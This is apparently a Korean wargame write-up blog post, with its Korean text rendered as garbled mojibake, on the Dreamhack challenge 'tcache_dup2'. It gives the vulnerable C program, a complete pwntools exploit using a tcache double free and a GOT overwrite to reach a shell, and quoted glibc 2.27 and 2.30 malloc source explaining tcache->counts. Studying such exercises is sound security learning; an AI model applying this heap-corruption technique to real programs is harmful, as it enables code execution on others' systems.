TIL: tcache poisoning 2, __libc_malloc ๐ง
Wargame: tcache_dup2
๋ฌธ์ ์ ์์ค ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
Vulnerability Scanning
Exploit
from pwn import *
#p = process("./tcache_dup2")
p = remote("host1.dreamhack.games", 17936)
#gdb.attach(p)
e = ELF("./tcache_dup2")
def create(size, data):
p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def modify(idx, size, data):
p.sendlineafter("> ", "2")
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def delete(idx):
p.sendlineafter("> ", "3")
p.sendlineafter("idx: ", str(idx))
# DFB
create(0x30, "A")
create(0x30, "A")
delete(0)
delete(1)
modify(1, 10, "AAAAAAAAB")
delete(1)
exit_got = e.got["exit"]
get_shell = e.symbols["get_shell"]
# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))
delete(7) # exit์ ์คํ
p.interactive()
- ๋ฌธ์ ์์ ์ฃผ์ด์ง libc์ version์ด 2.30์ด๋ฏ๋ก chunk์
key
๋ฅผ ๋ณ๊ฒฝํ ํ DFB๋ฅผ ์ผ์ผ์ผ์ผ ํ๋ค. -
์ด exploit code์์๋
exit_got
๋ฅผ overwriteํ๋๋ฐ,printf
๋free
์ ๊ฐ์ ๋ค๋ฅธ ํจ์๋ก overwriteํ์ ๊ฒฝ์ฐ exploit์ด ์คํจํ๋ ๊ฒฝ์ฐ๊ฐ ์์๋ค. ์ด์ ๋ฅผ ํ์ ํ๊ธฐ ์ํด got๋ฅผ gdb๋ก ํ์ธํด๋ณด๋ฉด ์๋์ ๊ฐ๋ค.printf_got
+ 8 ==read_got
,free_got
+ 8 ==puts_got
์์ ํ์ธํ ์ ์๋ค. ์ด ์ํ์์printf_got
๋free_got
๋ฅผ ๋์์ผ๋กread(0, ptr[idx], size - 1);
์ ์คํํ๊ฒ ๋ ๊ฒฝ์ฐ size๊ฐ 0x30์ด๋ฏ๋กread_got
,puts_got
์ ๊ฐ์ด ๋ณํํ๊ฒ ๋ ๊ฒ์์ ์ ์ ์๋ค.์ค์ ๋ก
free_got
๋ฅผ ๋์์ผ๋ก exploit์ ํ ํ gdb๋ก got์ ๋ณํ๋ฅผ ํ์ธํ๋ฉด ์๋์ ๊ฐ๋ค.free_got
๋get_shell
์ ์ฃผ์๋ก ์ overwrite๋์์ง๋ง,puts_got
๋ 0์ผ๋ก overwrite๋์๋ค. ์ด๋ ๊ฒ ๋ ๊ฒฝ์ฐ ์ดํputs
๋ฅผ ์คํํ๊ฒ ๋๋ฉด sigmentation fault๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.(๊ทผ๋ฐ ์ size๊ฐ 0x30์ธ๋ฐ ๋ฑ ๋ค์ byte์ธ
puts_got
๋ง overwrite๋๊ณ , ๊ทธ ๋ค์ byte๋ค์ ์จ์ ํ๊ฑด์ง ์ ๋ชจ๋ฅด๊ฒ ๋ค..)
Exploit Code์์ tcache chunk๋ฅผ ํ๋ ๋ ์ถ๊ฐํ๋ ์ด์
์์ exploit code๋ฅผ ๋ณด๋ฉด create(0x30, "A")
๋ฅผ ๋ ๋ฒ ์คํํ๊ณ , delete
๋ ๋ ๋ฒ ์คํํด์ ์ผ๋ถ๋ฌ tcache์ ๋ ๊ฐ์ chunk๋ฅผ ์ถ๊ฐํ๋ ๋ชจ์ต์ ํ์ธํ ์ ์๋ค. ์ด ๊ณผ์ ์ glibc 2.27๋ฅผ ์ฌ์ฉํ๋ local ํ๊ฒฝ์์๋ ํ์ํ์ง ์์์ง๋ง, glibc 2.30์ ์ฌ์ฉํ๋ remote ํ๊ฒฝ์์๋ ํ์์ ์ด์๋๋ฐ, ์ด์งธ์ ์ด ๋ถ๋ถ์ด ํ์ํ๊ฒ ๋์๋์ง ์ฐพ์๋ณด์๋ค. ์ด ๊ณผ์ ์์ ๊ณต๋ถํ๊ฒ ๋ ๋ด์ฉ์ ๊ธฐ๋กํ๋ค.
glibc 2.30์์๋ tcache์ ์กด์ฌํ๋ chunk์ ๊ฐ์๋ฅผ countํ๋ ๋ณ์(tcacheโcounts
)๊ฐ ์กด์ฌํ๋ค. ๋ง์ฝ ์ด count๊ฐ 0์ผ ๊ฒฝ์ฐ์๋ __libc_malloc
์ tcache_get
์ ์คํํ์ง ์๊ณ , __int_malloc
์ผ๋ก memory๋ฅผ allocateํ๋ค.
__libc_malloc
์ ์ ์ฒด ํ๋ฆ
(์ฐธ๊ณ : https://wogh8732.tistory.com/181)
- ๊ฐ์ฅ ๋จผ์
libc_malloc
์ด ์คํ๋๋ค._malloc_hook
์ด ์กด์ฌํ๋ฉด hook์ ์คํํ๋ค. - tcache๊ฐ ๋น์ด์๋ค๋ฉด
MAYBE_INIT_TCACHE
๋ฅผ ์คํํ๋ค.- ์ด ํจ์ ์์์
tcache_init
์ด ์คํ๋๋ค. tcache_init
์์_int_malloc
์ ์คํํ์ฌtcache_perthread_struct
chunk๋ฅผ ํ ๋น๋ฐ๋๋ค
- ์ด ํจ์ ์์์
- ์์ฒญ๋ size์ ํด๋นํ๋ tcache chunk๊ฐ ์กด์ฌํ๋ค๋ฉด, (
tcacheโcounts[tc_idx] > 0
)tcache_get
์ ์ด์ฉํด ์ฌํ ๋นํ๋ค. - Reallocateํ ๋ง๋
ํ chunk๊ฐ tcache์ ์๋ค๋ฉด,
_int_malloc
์ ์คํํ๋ค. - Fastbin, Unsorted bin, Small bin์ ํ์ธํ๊ณ , reallocate ๊ฐ๋ฅํ chunk๊ฐ ์๋ค๋ฉด reallocateํ๋ค. ๋ํ
tcache_entry[tc_idx]
์ ์๋ฆฌ๊ฐ ๋น์ด ์๋ค๋ฉด tcache์ ๋ฃ์ ์ ์๋ ๋งํผ bin๋ค์ ์๋ chunk๋ฅผ ๋ฃ๋๋ค. - Reallocateํ chunk์ ์ฃผ์๋ฅผ returnํ๋ค.
tcache->counts
์ ์ฌ์ฉ์ Code๋ก ํ์ธํ๊ธฐ
glibc 2.30์ malloc.c
๋ฅผ ์ดํด๋ณด๋ฉด, tcache->counts
๋ผ๋ ๋ณ์์ ์๋ ๋ฐฉ์์ ํ์ธํ ์ ์๋ค. (๋งํฌ)
-
์ฐ์
counts
๋ ์๋์ ๊ฐ์ด ์ ์๋์ด ์๋ค.3112 typedef struct tcache_perthread_struct 3113 { 3114 uint16_t counts[TCACHE_MAX_BINS]; 3115 tcache_entry *entries[TCACHE_MAX_BINS]; 3116 } tcache_perthread_struct; 3117 3118 static __thread bool tcache_shutting_down = false; 3119 static __thread tcache_perthread_struct *tcache = NULL;
-
tcache_get
,tcache_put
์์tcache_counts
๊ฐ ์ด๋ป๊ฒ ์ฌ์ฉ๋๋์ง ์ดํด๋ณด์.3148 static __always_inline void 3149 tcache_put (mchunkptr chunk, size_t tc_idx) 3150 { 3151 tcache_entry *e = (tcache_entry *) chunk2mem (chunk); 3152 3153 /* Mark this chunk as "in the tcache" so the test in _int_free will 3154 detect a double free. */ 3155 e->key = tcache_key; 3156 3157 e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); 3158 tcache->entries[tc_idx] = e; 3159 ++(tcache->counts[tc_idx]); 3160 } 3161 3162 /* Caller must ensure that we know tc_idx is valid and there's 3163 available chunks to remove. */ 3164 static __always_inline void * 3165 tcache_get (size_t tc_idx) 3166 { 3167 tcache_entry *e = tcache->entries[tc_idx]; 3168 if (__glibc_unlikely (!aligned_OK (e))) 3169 malloc_printerr ("malloc(): unaligned tcache chunk detected"); 3170 tcache->entries[tc_idx] = REVEAL_PTR (e->next); 3171 --(tcache->counts[tc_idx]); 3172 e->key = 0; 3173 return (void *) e; 3174 }
- 3159๋ฒ, 3171๋ฒ line์์ chunk๊ฐ tcache์ ์ถ๊ฐ ๋ฐ ์ ๊ฑฐ๋ ๋๋ง๋ค
tcache->counts[tc_idx]
๊ฐ update๋จ์ ํ์ธํ ์ ์๋ค.
- 3159๋ฒ, 3171๋ฒ line์์ chunk๊ฐ tcache์ ์ถ๊ฐ ๋ฐ ์ ๊ฑฐ๋ ๋๋ง๋ค
-
glibc 2.30์
__libc_malloc
์์tcache_counts
๊ฐ ์ด๋ป๊ฒ ์ฌ์ฉ๋๋์ง ์ดํด๋ณด์.3258 #if IS_IN (libc) 3259 void * 3260 __libc_malloc (size_t bytes) 3261 { 3262 mstate ar_ptr; 3263 void *victim; 3264 3265 _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, 3266 "PTRDIFF_MAX is not more than half of SIZE_MAX"); 3267 3268 if (!__malloc_initialized) 3269 ptmalloc_init (); 3270 #if USE_TCACHE 3271 /* int_free also calls request2size, be careful to not pad twice. */ 3272 size_t tbytes = checked_request2size (bytes); 3273 if (tbytes == 0) 3274 { 3275 __set_errno (ENOMEM); 3276 return NULL; 3277 } 3278 size_t tc_idx = csize2tidx (tbytes); 3279 3280 MAYBE_INIT_TCACHE (); 3281 3282 DIAG_PUSH_NEEDS_COMMENT; 3283 if (tc_idx < mp_.tcache_bins 3284 && tcache 3285 && tcache->counts[tc_idx] > 0) 3286 { 3287 victim = tcache_get (tc_idx); 3288 return tag_new_usable (victim); 3289 } 3290 DIAG_POP_NEEDS_COMMENT; 3291 #endif 3292 3293 if (SINGLE_THREAD_P) 3294 { 3295 victim = tag_new_usable (_int_malloc (&main_arena, bytes)); 3296 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || 3297 &main_arena == arena_for_chunk (mem2chunk (victim))); 3298 return victim; 3299 } 3300 3301 arena_get (ar_ptr, bytes); 3302 3303 victim = _int_malloc (ar_ptr, bytes); 3304 /* Retry with another arena only if we were able to find a usable arena 3305 before. */ 3306 if (!victim && ar_ptr != NULL) 3307 { 3308 LIBC_PROBE (memory_malloc_retry, 1, bytes); 3309 ar_ptr = arena_get_retry (ar_ptr, bytes); 3310 victim = _int_malloc (ar_ptr, bytes); 3311 } 3312 3313 if (ar_ptr != NULL) 3314 __libc_lock_unlock (ar_ptr->mutex); 3315 3316 victim = tag_new_usable (victim); 3317 3318 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || 3319 ar_ptr == arena_for_chunk (mem2chunk (victim))); 3320 return victim; 3321 }
- 3285๋ฒ line์์
tcache_counts[tc_idx]
๊ฐ 0๋ณด๋ค ์ปค์ผ๋งtcache_get
์ ์คํํจ์ ํ์ธํ ์ ์๋ค.
- 3285๋ฒ line์์
-
glibc 2.27์
__libc_malloc
์์๋tcache_counts[tc_idx]
์ ๊ฐ์ ํ์ธํ์ง ์์์ ์๋์์ ํ์ธํ ์ ์๋ค. (๋งํฌ)3026 void * 3027 __libc_malloc (size_t bytes) 3028 { 3029 mstate ar_ptr; 3030 void *victim; 3031 3032 void *(*hook) (size_t, const void *) 3033 = atomic_forced_read (__malloc_hook); 3034 if (__builtin_expect (hook != NULL, 0)) 3035 return (*hook)(bytes, RETURN_ADDRESS (0)); 3036 #if USE_TCACHE 3037 /* int_free also calls request2size, be careful to not pad twice. */ 3038 size_t tbytes; 3039 checked_request2size (bytes, tbytes); 3040 size_t tc_idx = csize2tidx (tbytes); 3041 3042 MAYBE_INIT_TCACHE (); 3043 3044 DIAG_PUSH_NEEDS_COMMENT; 3045 if (tc_idx < mp_.tcache_bins 3046 /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ 3047 && tcache 3048 && tcache->entries[tc_idx] != NULL) 3049 { 3050 return tcache_get (tc_idx); 3051 } 3052 DIAG_POP_NEEDS_COMMENT; 3053 #endif 3054 3055 if (SINGLE_THREAD_P) 3056 { 3057 victim = _int_malloc (&main_arena, bytes); 3058 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || 3059 &main_arena == arena_for_chunk (mem2chunk (victim))); 3060 return victim; 3061 } 3062 3063 arena_get (ar_ptr, bytes); 3064 3065 victim = _int_malloc (ar_ptr, bytes); 3066 /* Retry with another arena only if we were able to find a usable arena 3067 before. */ 3068 if (!victim && ar_ptr != NULL) 3069 { 3070 LIBC_PROBE (memory_malloc_retry, 1, bytes); 3071 ar_ptr = arena_get_retry (ar_ptr, bytes); 3072 victim = _int_malloc (ar_ptr, bytes); 3073 } 3074 3075 if (ar_ptr != NULL) 3076 __libc_lock_unlock (ar_ptr->mutex); 3077 3078 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || 3079 ar_ptr == arena_for_chunk (mem2chunk (victim))); 3080 return victim; 3081 }
๊ฒฐ๋ก
tcache์ ์กด์ฌํ๋ chunk์ ๊ฐ์๋ฅผ ์ธ๋ ๋ณ์ tcache->counts[tc_idx]
์ ๊ฐ์ ์ ๊ฒฝ์ฐ์ง ์๊ณ ์๋์ ๊ฐ์ด exploit์ ์ํด DFB๋ฅผ ์ผ์ผ์ผฐ๋ค๊ณ ์๊ฐํด๋ณด์.
# ...
# DFB
create(0x30, "A")
delete(0)
modify(0, 10, "AAAAAAAAB")
delete(0)
# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))
delete(7) # exit์ ์คํ
p.interactive()
์ด ๊ฒฝ์ฐ tcache->counts[tc_idx]
์ ๊ฐ์ด DFB๊ฐ ์ผ์ด๋ ํ์๋ -1์ด ๋๋ฏ๋ก, create(0x30, p64(exit_got))
๋ฅผ ์คํํ์ ๋ __libc_malloc
์ tcache์ ์๋ ์ฐ๋ฆฌ๊ฐ ์ํ๋ chunk๊ฐ ์๋, ๋ค๋ฅธ chunk๋ฅผ returnํ ๊ฒ์ด๊ณ , ๋ฐ๋ผ์ got overwriting์ด ์คํจํ๊ฒ ๋ ๊ฒ์ด๋ค.
๋ฐ๋ผ์ tcache->counts[tc_idx]
์ ๊ฐ์ด 0 ์ด์์ด ๋๋๋ก ๊ธฐ์กด์ exploit code์ฒ๋ผ ํ๋์ chunk๋ฅผ ์ถ๊ฐ๋ก tcache์ ๋ฃ์ด์ค์ผ ํ ๊ฒ์ด๋ค.
Leave a comment